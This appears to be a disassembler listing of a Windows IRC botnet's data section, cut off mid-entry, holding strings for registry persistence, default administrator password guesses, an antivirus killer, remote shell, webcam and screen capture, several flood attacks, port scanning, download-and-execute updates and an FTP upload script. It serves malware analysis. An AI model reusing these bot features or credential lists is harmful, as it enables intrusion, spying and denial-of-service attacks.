'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd offset aDb2 ; "db2" align 8 dd offset dword_43D158 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd 0 dword_42923C dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aAdministrateur db 'administrateur',0 ; DATA XREF: ___:00429234o align 10h aAdministrador db 'administrador',0 ; DATA XREF: ___:00429230o align 10h aDb2 db 'db2',0 ; DATA XREF: ___:00429220o aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co ; ___:0042922Co align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_429300 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429334 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 10h unk_429360 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h unk_4293A0 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_4293C4 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_4293E0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_4293EC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A2F+7Eo dword_4293F4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B3+EAo ... unk_4293FC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429464 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429484 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_4294A4 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_4294F8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429578: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_42957C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 10h unk_4295A0 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_4295C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_4295EC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_429610 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429634 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429658 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429674 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_4296A0 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_4296C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4296EC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_429718 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429740 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429764 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429784 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_4297AC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_4297D4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_429824 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429874 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429898 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_4298B4 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_4298D8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_4298F0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_429930 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429948 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_429964 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_429984 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_4299C8: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_4299CC db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_4299F0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_429A14 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_429A54 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_429A94 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_429AC8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 10h unk_429B00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_429B34 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_429B68 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 10h unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_429BC0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_429C2C db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 10h dword_429C60 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_429CAC db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_429CD4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_429CF4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_429D14 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_429D30 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_429D44 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_429D50 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_429D78 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_429D94 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_429DB0 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_429DB8 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_429DD4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_429DE0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_429DE8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_429DF0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_429E2C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_429E58 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_429E94 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_429EC8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_429EFC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_429F14 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_429F28 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_429F38 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_429F80 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_429FBC dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_429FF4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_42A010 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A034 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A070 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42A0A0 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A0AC db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42A0D0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A108 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A140 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A16C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A1A8 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A1D8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A240 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A2A8 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A2E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A31C db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42A35C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42A388 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A3CC db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A408 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42A464 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42A470 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A4AC db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42A4FC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A534 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42A59C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 10h unk_42A5D0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42A634 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; ___:00411C61o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42A6A4 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 4 unk_42A6CC db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42A70C db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A744 db 2Dh ; - ; DATA XREF: 